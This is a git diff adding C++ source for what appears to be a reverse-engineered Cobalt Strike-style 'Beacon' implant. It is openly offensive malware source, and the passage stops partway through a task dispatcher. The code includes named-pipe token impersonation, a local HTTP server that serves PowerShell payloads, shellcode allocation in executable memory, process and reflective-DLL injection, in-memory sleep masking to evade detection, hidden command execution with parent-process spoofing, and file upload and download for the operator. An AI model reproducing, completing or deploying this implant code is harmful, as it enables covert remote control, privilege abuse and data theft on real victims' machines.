psshBeaconJob->kill = 0; + psshBeaconJob->JobProcessPid = job_process_pid; + psshBeaconJob->JobType = job_type; + psshBeaconJob->lasting = lasting; + strncpy(psshBeaconJob->JobName, job_name, JobNameMAX); + Add_Beacon_Job(psshBeaconJob); +} + +void BeaconBackstageJob(int FlagsAndAttributes, char* Taskdata, int Task_size, int lasting) +{ + char job_name[64] = { 0 }; + CHAR NamedPipeName[64] = { 0 }; + HANDLE hNamedPipe; + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Task_size); + int job_process_pid = BeaconDataInt(&pdatap); + int job_type = BeaconDataShort(&pdatap); + int timeout = BeaconDataShort(&pdatap); + if (BeaconDataCopyToBuffer(&pdatap, NamedPipeName, 64) && BeaconDataCopyToBuffer(&pdatap, job_name, 64)) + { + int dwFlagsAndAttributes = FlagsAndAttributes != 0 ? 0x20000 : 0; + int number = 0; + //ӵjobܵ + while (!ConnectJobPipe(&hNamedPipe, dwFlagsAndAttributes, NamedPipeName)) + { + Sleep(500); + if (++number >= 20) + { + BeaconErrorD(20, GetLastError()); + return; + } + } + if (timeout) + { + CheckTimeout(hNamedPipe, timeout); + } + Add_BeaconInternal_Job(hNamedPipe, job_process_pid, job_type, job_name, lasting); + } +} + +/// +/// Beacon list jobs +/// +void beacon_jobs() +{ + BeaconJob* pBeaconJob = gBeaconJob; + formatp pformatp; + BeaconFormatAlloc(&pformatp, 0x8000); + while (pBeaconJob) + { + BeaconFormatPrintf(&pformatp, (char*)"%d\t%d\t%s\n", pBeaconJob->JobNumber, pBeaconJob->JobProcessPid, pBeaconJob->JobName); + pBeaconJob = pBeaconJob->Linked; + } + int length = BeaconFormatlength(&pformatp); + char* buffer = BeaconFormatOriginalPtr(&pformatp); + BeaconTaskOutput(buffer, length, 0x14); + BeaconFormatFree(&pformatp); +} + +/// +/// beacon jos,ɾֹͣ״̬ +/// +void del_beacon_job() +{ + BeaconJob* pgBeaconJob = gBeaconJob; + if (pgBeaconJob) + { + do + { + if (pgBeaconJob->kill == 1) + { + if (pgBeaconJob->state) + { + if (pgBeaconJob->state == 1) + { + DisconnectNamedPipe(pgBeaconJob->hReadPipe); + CloseHandle(pgBeaconJob->hReadPipe); + } + } + else + { + CloseHandle(pgBeaconJob->pHandle); + CloseHandle(pgBeaconJob->hThread); + CloseHandle(pgBeaconJob->hReadPipe); + CloseHandle(pgBeaconJob->hWritePipe); + } + } + pgBeaconJob = pgBeaconJob->Linked; + } while (pgBeaconJob); + + } + pgBeaconJob = gBeaconJob; + BeaconJob* temp = 0; + while (pgBeaconJob) + { + if (pgBeaconJob->kill == 1) + { + if (temp) + { + temp->Linked = pgBeaconJob->Linked; + free(pgBeaconJob); + pgBeaconJob = pgBeaconJob->Linked; + } + else + { + gBeaconJob = pgBeaconJob->Linked; + BeaconJob* temp1 = gBeaconJob; + free(pgBeaconJob); + pgBeaconJob = temp1; + } + } + else + { + temp = pgBeaconJob; + pgBeaconJob = pgBeaconJob->Linked; + } + } +} + +void beacon_JobKill(char* Taskdata, int Task_size) +{ + BeaconJob* pBeaconJob = gBeaconJob; + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Task_size); + int jobid = BeaconDataShort(&pdatap); + while (pBeaconJob) + { + if (pBeaconJob->JobNumber == jobid) + { + pBeaconJob->kill = 1; + } + pBeaconJob = pBeaconJob->Linked; + } + del_beacon_job(); +} + +BeaconJob* Add_Beacon_0Job(HANDLE hProcess,HANDLE hThread,int dwProcessId,int dwThreadId,HANDLE hReadPipe,HANDLE hWritePipe,const char* jobname) +{ + BeaconJob* pBeaconJob = (BeaconJob*)malloc(sizeof(BeaconJob)); + pBeaconJob->pHandle = hProcess; + pBeaconJob->hThread = hThread; + pBeaconJob->dwProcessId = dwProcessId; + pBeaconJob->dwThreadId = dwThreadId; + pBeaconJob->Linked = 0; + pBeaconJob->hReadPipe = hReadPipe; + pBeaconJob->hWritePipe = hWritePipe; + pBeaconJob->state = 0; + pBeaconJob->kill = 0; + pBeaconJob->JobType = 0; + pBeaconJob->JobProcessPid = dwProcessId; + pBeaconJob->lasting = 0; + _snprintf(pBeaconJob->JobName, 0x40u, "%s", jobname); + Add_Beacon_Job(pBeaconJob); + return pBeaconJob; +} + +int ReadPipeData(HANDLE hNamedPipe, char* buffer) +{ + DWORD TotalBytesAvail; + if (!PeekNamedPipe(hNamedPipe, 0, 0, 0, &TotalBytesAvail, 0)) + { + return -1; + } + if (!TotalBytesAvail) + { + return 0; + } + int size; + if (RecvSmbData(hNamedPipe,(char*)&size, 4) == 4 && size <= 0x80000) + { + return RecvSmbData(hNamedPipe, buffer, size); + } + return -1; +} +DWORD sub_10005837(HANDLE hNamedPipe, char* lpBuffer) +{ + DWORD NumberOfBytesRead = 0; + DWORD TotalBytesAvail; + int size=0; + while (1) + { + if (!PeekNamedPipe(hNamedPipe, 0, 0, 0, &TotalBytesAvail, 0)) + { + return -1; + } + if (!TotalBytesAvail || size >= 0x80000) + { + break; + } + ReadFile(hNamedPipe, lpBuffer, 0x80000 - size, &NumberOfBytesRead, 0); + size += NumberOfBytesRead; + lpBuffer += NumberOfBytesRead; + } + return NumberOfBytesRead; +} + + +//************************************ +// Method: CheckJobOutput +// FullName: CheckJobOutput +// Access: public +// Returns: void +// Qualifier:jobܵǷ򷵻ظserver +//************************************ +void CheckJobOutput() +{ + BeaconJob* pgBeaconJob = gBeaconJob; + if (pgBeaconJob) + { + char* read_data = (char*)malloc(0x80000u); + int read_size; + do + { + HANDLE hReadPipe = pgBeaconJob->hReadPipe; + if (pgBeaconJob->lasting == 1) + { + read_size = ReadPipeData(hReadPipe, read_data); + } + else + { + read_size = sub_10005837(hReadPipe, read_data); + } + if (read_size > 0) + { + BeaconTaskOutput(read_data, read_size, pgBeaconJob->JobType); + } + if (pgBeaconJob->state == 1 && read_size == -1 || !pgBeaconJob->state && WaitForSingleObject(pgBeaconJob->pHandle, 0) != 0x102) + { + pgBeaconJob->kill = 1; + } + if (pgBeaconJob->lasting != 1 || read_size <= 0) + { + pgBeaconJob = pgBeaconJob->Linked; + } + } while (pgBeaconJob); + memset(read_data, 0, 0x80000); + free(read_data); + del_beacon_job(); + } +} \ No newline at end of file diff --git a/ReBeacon_Src/BeaconJob.h b/ReBeacon_Src/BeaconJob.h new file mode 100644 index 0000000..8f6325b --- /dev/null +++ b/ReBeacon_Src/BeaconJob.h @@ -0,0 +1,44 @@ +#pragma once +#include "Utils.h" +#include "common.h" +#include "comm.h" +#define JobNameMAX 64 + +#pragma pack(1) +struct BeaconJob +{ + int JobNumber; + HANDLE pHandle; + HANDLE hThread; + int dwProcessId; + int dwThreadId; + HANDLE hReadPipe; + HANDLE hWritePipe; + BeaconJob* Linked; + BOOL state; + BOOL kill; + int JobProcessPid; + int JobType; + short lasting; + char JobName[JobNameMAX]; +}; +#pragma pack() + +// +extern int g_job_Number; +extern BeaconJob* gBeaconJob; + + +void BeaconBackstageJob(int FlagsAndAttributes, char* Taskdata, int Task_size, int lasting); + +void CheckTimeout(HANDLE hNamedPipe, int timeout); + +void beacon_jobs(); + +void beacon_JobKill(char* Taskdata, int Task_size); + +BOOL ConnectJobPipe(HANDLE* hNamedPipe, int dwFlagsAndAttributes, CHAR* NamedPipeName); + +BeaconJob* Add_Beacon_0Job(HANDLE hProcess, HANDLE hThread, int dwProcessId, int dwThreadId, HANDLE hReadPipe, HANDLE hWritePipe, const char* jobname); + +void CheckJobOutput(); \ No newline at end of file diff --git a/ReBeacon_Src/BeaconLateralMovement.cpp b/ReBeacon_Src/BeaconLateralMovement.cpp new file mode 100644 index 0000000..14d6dc3 --- /dev/null +++ b/ReBeacon_Src/BeaconLateralMovement.cpp @@ -0,0 +1,375 @@ +#include "BeaconLateralMovement.h" +#include "common.h" + +HANDLE g_hToken; +HANDLE g_hObject; +HANDLE g_hHandle; + +int __stdcall sub_1000A6D3(BeaconBackgroundThreads* pBeaconBackgroundThreads) +{ + ((void(__stdcall*)(void*))pBeaconBackgroundThreads->StartAddress)(pBeaconBackgroundThreads); + pBeaconBackgroundThreads->pVirtualFree(pBeaconBackgroundThreads, 0, MEM_RELEASE); + return 0; +} + +void BeaconNULL1() +{ + return; +} + + + +void* sub_1000520B(size_t shellcodesize, void* shellcode) +{ + + int min_alloc = get_dword(45); + if (shellcodesize > min_alloc) + { + min_alloc = shellcodesize + 1024; + } + int rxw = get_short(43); + PVOID pshellcode = VirtualAlloc(0, min_alloc, 0x3000u, rxw); + if (pshellcode) + { + memcpy(pshellcode, shellcode, shellcodesize); + return CheckMemoryRWX(pshellcode, min_alloc) != 0 ? pshellcode : 0; + } + else + { + BeaconErrorDD(0x1Fu, min_alloc, GetLastError()); + return 0; + } +} + +void sub_1000A6F9() +{ + if (!lpStartAddress) + { + lpStartAddress = sub_1000520B((char*)BeaconNULL1 - (char*)sub_1000A6D3, sub_1000A6D3); + } +} + +HANDLE sub_1000A71D(void* plpStartAddress, void* lpParameter) +{ + + BeaconBackgroundThreads* pBeaconBackgroundThreads; + + pBeaconBackgroundThreads = (BeaconBackgroundThreads*)VirtualAlloc(0, sizeof(BeaconBackgroundThreads), 0x3000u, 4u); + pBeaconBackgroundThreads->StartAddress = plpStartAddress; + pBeaconBackgroundThreads->lpParameter = lpParameter; + pBeaconBackgroundThreads->pVirtualFree = VirtualFree; + sub_1000A6F9(); + if (lpStartAddress) + { + return CreateThread(0, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, pBeaconBackgroundThreads, 0, 0); + } + return (HANDLE)-1; +} + +HANDLE BeaconCreateBackgroundThreads(void* lpStartAddress, void* lpParameter) +{ + ++BackgroundThreadsNumber; + if (get_short(39) == 1) + { + return sub_1000A71D(lpStartAddress, lpParameter); + } + else + { + return CreateThread(0, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpParameter, 0, 0); + } +} + +int sub_10005983(char* pipename, HANDLE* hFile) +{ + return ConnectJobPipe(hFile, 0, pipename); +} + +void NamedPipesSendData(char* Taskdata, int Task_size) +{ + + int timeout = GetTickCount() + 60000; + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Task_size); + char pipename[132]; + BeaconDataCopyToBuffer(&pdatap, pipename, 128); + char* databuffer = BeaconDataBuffer(&pdatap); + int length = BeaconDataLength(&pdatap); + HANDLE hFile; + int number=0; + while (!sub_10005983(pipename, &hFile)) + { + if (GetLastError() != 53 && GetTickCount() < timeout) + { + Sleep(0x3E8u); + if (++number < 10) + { + continue; + } + } + BeaconTaskError1Output(0x32u, GetLastError(), pipename); + return; + } + DWORD NumberOfBytesWritten; + WriteFile(hFile, &length, 4, &NumberOfBytesWritten, 0); + int writesize = 0; + if (length) + { + do + { + int nNumberOfBytesToWrite = length - writesize; + if (nNumberOfBytesToWrite > 0x2000) + { + nNumberOfBytesToWrite = 0x2000; + } + if (!WriteFile(hFile, &databuffer[writesize], nNumberOfBytesToWrite, &NumberOfBytesWritten, 0)) + { + break; + } + writesize = NumberOfBytesWritten + writesize; + } while (writesize < length); + } + FlushFileBuffers(hFile); + DisconnectNamedPipe(hFile); + CloseHandle(hFile); + Sleep(0x3E8u); +} + + +BeaconMiniHttp* InitMiniHttp(size_t size, SOCKET socket, void* data) +{ + + BeaconMiniHttp* pBeaconMiniHttp = (BeaconMiniHttp*)malloc(sizeof(BeaconMiniHttp)); + pBeaconMiniHttp->socket = socket; + char* payload = (char*)malloc(size); + memcpy(payload, data,size); + pBeaconMiniHttp->payload = payload; + pBeaconMiniHttp->payloadsize = size; + + char* httpheader = (char*)malloc(0x100u); + pBeaconMiniHttp->httpheader = httpheader; + _snprintf( + httpheader, + 0x100, + "HTTP/1.1 200 OK\r\nContent-Type: application/octet-stream\r\nContent-Length: %d\r\n\r\n", + size); + + pBeaconMiniHttp->httpheadersize = strlen(httpheader); + pBeaconMiniHttp->rvcedata = (char*)malloc(0x800u); + return pBeaconMiniHttp; +} + +void BeaconMiniHttpFree(BeaconMiniHttp* pBeaconMiniHttp) +{ + closesocket(pBeaconMiniHttp->socket); + free(pBeaconMiniHttp->payload); + free(pBeaconMiniHttp->rvcedata); + free(pBeaconMiniHttp->httpheader); + free(pBeaconMiniHttp); +} + +unsigned int sub_1000AE98(char* buffer, SOCKET s) +{ + int size = 0; + while (1) + { + int recvsize = recv(s, &buffer[size], 1, 0); + if (recvsize <= 0) + { + return -1; + } + size += recvsize; + if (size >= 2 && buffer[size - 1] == 10 && buffer[size - 2] == 13) + { + break; + } + if (size >= 0x800) + { + return -1; + } + } + buffer[size - 2] = 0; + return size; +} + +void __stdcall StartMiniHttpThread(BeaconMiniHttp* pBeaconMiniHttp) +{ + + SOCKET S = accept(pBeaconMiniHttp->socket, 0, 0); + if (S == -1) + { + BeaconMiniHttpFree(pBeaconMiniHttp); + } + else + { + while (sub_1000AE98(pBeaconMiniHttp->rvcedata, S) > 2) + { + ; + } + send(S, pBeaconMiniHttp->httpheader, pBeaconMiniHttp->httpheadersize, 0); + send(S, pBeaconMiniHttp->payload, pBeaconMiniHttp->payloadsize, 0); + BeaconMiniHttpFree(pBeaconMiniHttp); + closesocket(S); + } + --BackgroundThreadsNumber; +} + +void StartHttpWebDelivery(size_t len, u_short port, char* data) +{ + + sockaddr_in name; + + init_socket_options(); + SOCKET s = socket(2, 1, 0); + if (s == -1) + { + closesocket(0xFFFFFFFF); + } + else + { + name.sin_family = AF_INET; + name.sin_addr.s_addr = inet_addr("127.0.0.1"); + name.sin_port = htons(port); + + if (bind(s, (SOCKADDR *)&name, sizeof(sockaddr_in)) == -1 || listen(s, 120) == -1) + { + closesocket(s); + } + else + { + //һhttp + BeaconMiniHttp* pBeaconMiniHttp = InitMiniHttp(len, s, data); + BeaconCreateBackgroundThreads(StartMiniHttpThread, pBeaconMiniHttp); + } + } +} + +void ScriptCradle(char* Taskdata, int Task_size) +{ + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Task_size); + short randomPort =BeaconDataShort(&pdatap); + int szie = BeaconDataLength(&pdatap); + char* powershellscript = (char*)BeaconDataBuffer(&pdatap); + return StartHttpWebDelivery(szie, randomPort, powershellscript); +} + + +DWORD __stdcall StartNamedPipeThread() +{ + + char Buffer[128] = {0}; + DWORD NumberOfBytesRead = 0; + while (!ConnectNamedPipe(g_hObject, 0) && GetLastError() != 535) + { + ; + } + if (ReadFile(g_hObject, Buffer, 1u, &NumberOfBytesRead, 0)) + { + if (ImpersonateNamedPipeClient(g_hObject)) + { + if (OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, 0, &g_hToken)) + { + if (g_hObject) + { + DisconnectNamedPipe(g_hObject); + CloseHandle(g_hObject); + } + } + } + } + --BackgroundThreadsNumber; + return 0; +} + +//************************************ +// Method: StartNamedPipeReceiveData +// FullName: StartNamedPipeReceiveData +// Access: public +// Returns: void +// Qualifier:һܵ׼ +// Parameter: char * Taskdata +// Parameter: int Task_size +//************************************ +void StartNamedPipeReceiveData(char* Taskdata, int Task_size) +{ + CHAR Name[260]; + + if (Task_size < 256) + { + memcpy(Name, Taskdata, Task_size); + g_hToken = (HANDLE)-1; + g_hObject = (HANDLE)-1; + g_hHandle = (HANDLE)-1; + Name[Task_size] = 0; + g_hObject = CreateNamedPipeA(Name, 3, 4, 2, 0, 0, 0, 0); + if (g_hObject) + { + g_hHandle = BeaconCreateBackgroundThreads((LPTHREAD_START_ROUTINE)StartNamedPipeThread, 0); + } + } +} + +void ImpersonationToken() +{ + char usersid[0x200] = { 0 }; + + if (g_hHandle != (HANDLE)-1) + { + WaitForSingleObject(g_hHandle, 0x3A98u); + } + if (g_hToken == (HANDLE)-1) + { + BeaconErrorNA(1u); + } + else if (ImpersonateLoggedOnUser(g_hToken)) + { + pTokenHandle = g_hToken; + if (get_user_sid(0x200u, g_hToken, usersid)) + { + BeaconTaskOutput(usersid, strlen(usersid), 0xFu); + } + } + else + { + BeaconErrorD(0xCu, GetLastError()); + } +} + +/// +/// powershellpayload7937 +/// +char* powershellpayload; + +void BeaconPowerShellImport(char* Taskdata, int Task_size) +{ + + if (powershellpayload) + { + free(powershellpayload); + } + powershellpayload = (char*)malloc(Task_size + 1); + memcpy(powershellpayload, Taskdata, Task_size); + powershellpayload[Task_size] = 0; +} + + +//************************************ +// Method: BeaconWebDelivery +// FullName: BeaconWebDelivery +// Access: public +// Returns: void +// Qualifier:ͨһhttpйļ +// Parameter: char * Taskdata +// Parameter: int Task_size +//************************************ +void BeaconWebDelivery(char* Taskdata, int Task_size) +{ + + if (powershellpayload) + { + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Task_size); + short port = BeaconDataShort(&pdatap); + StartHttpWebDelivery(strlen(powershellpayload), port, powershellpayload); + } +} \ No newline at end of file diff --git a/ReBeacon_Src/BeaconLateralMovement.h b/ReBeacon_Src/BeaconLateralMovement.h new file mode 100644 index 0000000..8ecc9dd --- /dev/null +++ b/ReBeacon_Src/BeaconLateralMovement.h @@ -0,0 +1,39 @@ +#pragma once + +#include "Utils.h" +#include "comm.h" +#include "common.h" +#include "BeaconJob.h" + +extern HANDLE g_hToken; +extern HANDLE g_hObject; +extern HANDLE g_hHandle; + +struct BeaconMiniHttp +{ + SOCKET socket; + int payloadsize; + int httpheadersize; + char* payload; + char* httpheader; + char* rvcedata; +}; + +struct BeaconBackgroundThreads +{ + void* StartAddress; + void* lpParameter; + BOOL(WINAPI * pVirtualFree)(LPVOID,SIZE_T, DWORD); +}; +void NamedPipesSendData(char* Taskdata, int Task_size); + +void ScriptCradle(char* Taskdata, int Task_size); + +void StartNamedPipeReceiveData(char* Taskdata, int Task_size); + +void ImpersonationToken(); + +void BeaconPowerShellImport(char* Taskdata, int Task_size); +void BeaconWebDelivery(char* Taskdata, int Task_size); + +void __cdecl CheckDownload(size_t size); \ No newline at end of file diff --git a/ReBeacon_Src/BeaconSleep.cpp b/ReBeacon_Src/BeaconSleep.cpp new file mode 100644 index 0000000..976118e --- /dev/null +++ b/ReBeacon_Src/BeaconSleep.cpp @@ -0,0 +1,77 @@ +#include "BeaconSleep.h" +SLEEPMASKP* gBeaconSleepMask; +HINSTANCE GetBeaconBase() +{ + return Beacon_Dllbase; +} + +PVOID SleepEncryptlpAddress; +void sub_1000436C() +{ + DWORD flOldProtect; + if (!SleepEncryptlpAddress) + { + int BeaconCode = get_dword(41); + char* Beaconbase = (char*)GetBeaconBase(); + VirtualProtect(Beaconbase + BeaconCode, (char*)sub_10004325 - (char*)BeaconSleepMask, 4, &flOldProtect); + SleepEncryptlpAddress = Beaconbase + BeaconCode; + memcpy(SleepEncryptlpAddress, BeaconSleepMask, (char*)sub_10004325 - (char*)BeaconSleepMask); + VirtualProtect(SleepEncryptlpAddress, (char*)sub_10004325 - (char*)BeaconSleepMask, flOldProtect, &flOldProtect); + gBeaconSleepMask = (SLEEPMASKP*)malloc(sizeof(SLEEPMASKP)); + gBeaconSleepMask->BeaconBase = (char*)GetBeaconBase(); + gBeaconSleepMask->sections = (int*)get_str(42); + random_bytesarray((BYTE*)gBeaconSleepMask->mask, 0xDu); + } +} +void BeaconSleepMask(SLEEPMASKP* parms, pSleep psleep, int time) +{ + int* index = parms->sections; + while (true) + { + int a = index[0]; + int b = index[1]; + if (!a && !b) + { + break; + } + for (; a < b; ++a) + { + parms->BeaconBase[a] ^= parms->mask[a % 13]; + } + } + psleep(time); + index = parms->sections; + while (1) + { + int a = index[0]; + int b = index[1]; + index += 2; + if (!a && !b) + { + break; + } + for (; a < b; ++a) + { + parms->BeaconBase[b] ^= parms->mask[b % 13]; + } + } +} +void sub_10004325() +{ + sub_1000436C(); +} + +void BeaconSleep(DWORD dwMilliseconds) +{ + //Ƿdllʱ + if (get_dword(41) && BackgroundThreadsNumber <= 0) + { + //sub_10004325(); + //((void(__cdecl*)(SLEEPMASKP*, void(__stdcall*)(DWORD), DWORD))SleepEncryptlpAddress)(gBeaconSleepMask, Sleep, dwMilliseconds); + Sleep(dwMilliseconds); + } + else + { + Sleep(dwMilliseconds); + } +} \ No newline at end of file diff --git a/ReBeacon_Src/BeaconSleep.h b/ReBeacon_Src/BeaconSleep.h new file mode 100644 index 0000000..4da71c4 --- /dev/null +++ b/ReBeacon_Src/BeaconSleep.h @@ -0,0 +1,16 @@ +#pragma once +#include "Global.h" +#include "Utils.h" +#include "encrypt_decrypt.h" +struct SLEEPMASKP +{ + char* BeaconBase; + int* sections; + char mask[13]; +}; +extern SLEEPMASKP* gBeaconSleepMask; +typedef void (__stdcall* pSleep)(_In_ DWORD dwMilliseconds); +void sub_1000436C(); +void BeaconSleepMask(SLEEPMASKP* parms, pSleep psleep, int time); +void sub_10004325(); +void BeaconSleep(DWORD dwMilliseconds); \ No newline at end of file diff --git a/ReBeacon_Src/BeaconTask.cpp b/ReBeacon_Src/BeaconTask.cpp new file mode 100644 index 0000000..d5c80c4 --- /dev/null +++ b/ReBeacon_Src/BeaconTask.cpp @@ -0,0 +1,624 @@ +#include "BeaconTask.h" +#include "Utils.h" +#include "common.h" +#include "comm.h" +#include "ChildBeacon.h" +#include "BeaconJob.h" +#include "Beaconrportfwd.h" +#include "BeaconFileManage.h" +#include "BeaconLateralMovement.h" +#include "BeaconInject.h" +#include "BeaconBof.h" + +void BeaconSleep(char* Taskdata, int Taskdata_size) +{ + datap pdatap; + if (g_dwMilliseconds) + { + BeaconDataParse(&pdatap, Taskdata, Taskdata_size); + g_dwMilliseconds = BeaconDataInt(&pdatap); + g_jitter = BeaconDataInt(&pdatap); + if (!g_jitter || g_jitter > 99) + { + g_jitter = 0; + } + } +} + +/// +/// beacon cd +/// +/// +/// +void BeaconCd(char* Taskdata, size_t Task_size) +{ + CHAR PathName[1024]; + + if (Task_size <= 1023) + { + strncpy(PathName, Taskdata, Task_size); + PathName[Task_size] = 0; + SetCurrentDirectoryA(PathName); + } +} + + + +void beacon_upload(char* Taskdata, size_t Task_size, char* Mode) +{ + datap pdatap; + char* Buffer = (char*)malloc(1024); + if (Buffer) + { + BeaconDataParse(&pdatap, Taskdata, Task_size); + if (!BeaconDataCopyToBuffer(&pdatap, Buffer, 1024)) + { + free(Buffer); + return; + } + FILE* fp = fopen(Buffer, Mode); // ļ + if (fp != (FILE*)-1 && fp) + { + int size = BeaconDataLength(&pdatap); + char* data = BeaconDataBuffer(&pdatap); + fwrite(data, 1, size, fp); + fclose(fp); + free(Buffer); + return; + } + free(Buffer); + BeaconErrorD(8, GetLastError()); + } +} + +/// +/// Beacon download +/// +/// +/// +void beacon_download(char* Taskdata, int Tasksize) +{ + + datap* pdatap = BeaconDataInit(0x1000); + char* filename = BeaconDataPtr(pdatap, 2048); + char* lpBuffer = BeaconDataPtr(pdatap, 2048); + datap Taskdatap; + BeaconDataParse(&Taskdatap, Taskdata, Tasksize); + BeaconDataCopyNToBuffer(&Taskdatap, filename, 2048); + FILE* fp = fopen(filename, "rb"); + if (fp == (FILE*)-1 || !fp) + { + BeaconTaskErrorOutput(0x28, 0, 0, filename); + BeaconDataFree(pdatap); + return; + } + fseek(fp, 0, 2); + __int64 fpsize = _ftelli64(fp); + fseek(fp, 0, 0); + if (__PAIR64__(HIDWORD(fpsize), fpsize) - 1 >= 0xFFFFFFFF) + { + BeaconTaskErrorOutput(0x3Cu, 0, 0, filename); + BeaconDataFree(pdatap); + fclose(fp); + return; + } + DWORD path_size = GetFullPathNameA(filename, 0x800, lpBuffer, 0); + if (! path_size || path_size > 0x800) + { + BeaconTaskErrorOutput(0x3D, 0, 0, filename); + BeaconDataFree(pdatap); + fclose(fp); + return; + } + + + BeaconDownload* pBeaconDownload = (BeaconDownload*)malloc(sizeof(BeaconDownload)); + pBeaconDownload->number = download_number++; + pBeaconDownload->Linked = gBeaconDownload; + pBeaconDownload->fp = fp; + pBeaconDownload->size = fpsize; + gBeaconDownload = pBeaconDownload; + + formatp pformatp; + BeaconFormatAlloc(&pformatp, 0x1000); + BeaconFormatInt(&pformatp, pBeaconDownload->number); + BeaconFormatInt(&pformatp, fpsize); + BeaconFormatAppend(&pformatp, lpBuffer, path_size); + int length = BeaconFormatlength(&pformatp); + char* buffer = BeaconFormatOriginalPtr(&pformatp); + BeaconTaskOutput(buffer, length, 2); + BeaconFormatFree(&pformatp); + BeaconDataFree(pdatap); +} + +/// +/// Beacon execute +/// +/// +/// +void beacon_execute(char* Taskdata, size_t Task_size) +{ + char Path[1024]; + + STARTUPINFOA StartupInfo = { 0 }; + StartupInfo.cb = sizeof(STARTUPINFOA); + _PROCESS_INFORMATION processInfo = {0}; + GetStartupInfoA(&StartupInfo); + StartupInfo.dwFlags = 257; + StartupInfo.wShowWindow = 0; + StartupInfo.hStdOutput = 0; + StartupInfo.hStdError = 0; + StartupInfo.lpDesktop = 0; + if (Task_size <= 1023) + { + strncpy(Path, Taskdata, Task_size); + Path[Task_size] = 0; + BeaconExecuteCommand(Path, Task_size, &StartupInfo, &processInfo, 0, 0); + BeaconcloseAllHandle(&processInfo); + } +} + +/// +/// Beacon spawntox86Ӧܺ13 x86Ӧܺx64 +/// Task_size +/// +/// · +/// С +/// ܹ +void beacon_SpawnTo(char* Taskdata, size_t Task_size, int x86) +{ + //BeaconDataInitҪͷȫֱ + if (!spawntoPath_x86 && !spawntoPath_x64) + { + datap* datap = BeaconDataInit(0x200); + spawntoPath_x86 = BeaconDataPtr(datap, 256); + spawntoPath_x64 = BeaconDataPtr(datap, 256); + } + //task0ʱǰ + if (Task_size && Task_size <= 256) + { + if (x86) + { + memset(spawntoPath_x86, 0, 0x100); + memcpy(spawntoPath_x86, Taskdata, Task_size); + } + else + { + memset(spawntoPath_x64, 0, 0x100); + memcpy(spawntoPath_x64, Taskdata, Task_size); + } + } + else + { + memset(spawntoPath_x86, 0, 0x100u); + memset(spawntoPath_x64, 0, 0x100u); + } + return; + +} + + + + +void BeaconVNCReflectiveDLL(char* Taskdata, int Task_size, BOOL x86) +{ + short vnc_port = ntohs(*(short*)Taskdata); + BeaconSpawnX86(1, Taskdata + 2, Task_size - 2, x86); + vnc_port = htons(vnc_port); + BeaconTaskOutput((char*)&vnc_port, 2, 7); +} + +/// +/// vncעй +/// +/// +/// +/// +void BeaconVNCInject(char* Taskdata, int Task_size, int x86) +{ + BeaconReflectiveDLLInject(Taskdata + 2, Task_size - 2, x86); + short size = htons(ntohs(*(u_long*)Taskdata)); + BeaconTaskOutput((char*)&size, 2, 7); +} + +void SpawnProcessInjection(int timeout,int p_offset,char* payload,size_t payloadsize,char* arg,int a_len,char* jobname,BOOL x86,int ignoreToken) +{ + check_close_token_fake(ignoreToken); + + + PROCESS_INFORMATION pi = {0}; + + HANDLE hReadPipe; + HANDLE hWritePipe; + SECURITY_ATTRIBUTES PipeAttributes = {0}; + PipeAttributes.lpSecurityDescriptor = 0; + PipeAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); + PipeAttributes.bInheritHandle = 1; + + CreatePipe(&hReadPipe, &hWritePipe, &PipeAttributes, 0x100000u); + + STARTUPINFOA StartupInfo = { 0 }; + StartupInfo.cb = sizeof(STARTUPINFOA); + GetStartupInfoA(&StartupInfo); + StartupInfo.hStdInput = 0; + StartupInfo.wShowWindow = 0; + StartupInfo.hStdOutput = hWritePipe; + StartupInfo.hStdError = hWritePipe; + StartupInfo.dwFlags = 257; + + if (BeaconSpawnTemporaryProcess(x86, ignoreToken, &StartupInfo, &pi)) + { + Sleep(0x64u); + ProcessInject(pi.dwProcessId, &pi, pi.hProcess, payload, payloadsize, p_offset, arg, a_len); + if (timeout) + { + CheckTimeout(hReadPipe, timeout); + } + Add_Beacon_0Job(pi.hProcess, pi.hThread, pi.dwProcessId, pi.dwThreadId, hReadPipe, hWritePipe, jobname); + } + check_restore_token_fake(ignoreToken); +} + +void __cdecl SpawnProcessInjectionJob(char* Taskdata, int Task_size, int x86, int ignoreToken) +{ + + datap* pdatap = BeaconDataInit(0x40u); + char* jobname = BeaconDataPtr(pdatap, 64); + + datap ptaskdatp; + BeaconDataParse(&ptaskdatp, Taskdata, Task_size); + BeaconDataShort(&ptaskdatp); + short timeout = BeaconDataShort(&ptaskdatp); + int p_offset = BeaconDataInt(&ptaskdatp); + BeaconDataCopyToBuffer(&ptaskdatp, jobname, 64); + int a_len = BeaconDataInt(&ptaskdatp); + char* arg; + if (a_len) + { + arg = BeaconDataPtr(&ptaskdatp, a_len); + } + else + { + arg = 0; + } + + int payloadsize = BeaconDataLength(&ptaskdatp); + char* payload = BeaconDataBuffer(&ptaskdatp); + SpawnProcessInjection(timeout, p_offset, payload, payloadsize, arg, a_len, jobname, x86, ignoreToken); + BeaconDataClear(pdatap); + BeaconDataFree(pdatap); +} + +void beacon_runu(char* Taskdata, int Task_size) +{ + + STARTUPINFOA StartupInfo = { 0 }; + PROCESS_INFORMATION pi; + StartupInfo.cb = sizeof(STARTUPINFOA); + GetStartupInfoA(&StartupInfo); + StartupInfo.dwFlags = 257; + StartupInfo.wShowWindow = 0; + StartupInfo.hStdInput = 0; + StartupInfo.hStdOutput = 0; + StartupInfo.hStdError = 0; + + datap* pdatap = BeaconDataInit(0x2000u); + char* cmd = BeaconDataPtr(pdatap, 0x2000); + + datap taskdatap; + BeaconDataParse(&taskdatap, Taskdata, Task_size); + int PPID = BeaconDataInt(&taskdatap); + + BeaconDataCopyToBuffer(&taskdatap, cmd, 0x2000); + BeaconCreateProcess(cmd, strlen(cmd), &StartupInfo, &pi, 16, 0, PPID); + BeaconDataClearFree(pdatap); + BeaconcloseAllHandle(&pi); +} + +void Task_handle(char* Taskdata, size_t Task_size, int Task_id) +{ + switch (Task_id) + { + case 1: + BeaconSpawnX86(1, Taskdata, Task_size, 1); + return; + case 3: + Beacon_end(); // exit Beacon + return; + case 4: + BeaconSleep(Taskdata, Task_size); //sleep + return; + case 5: + BeaconCd(Taskdata, Task_size); 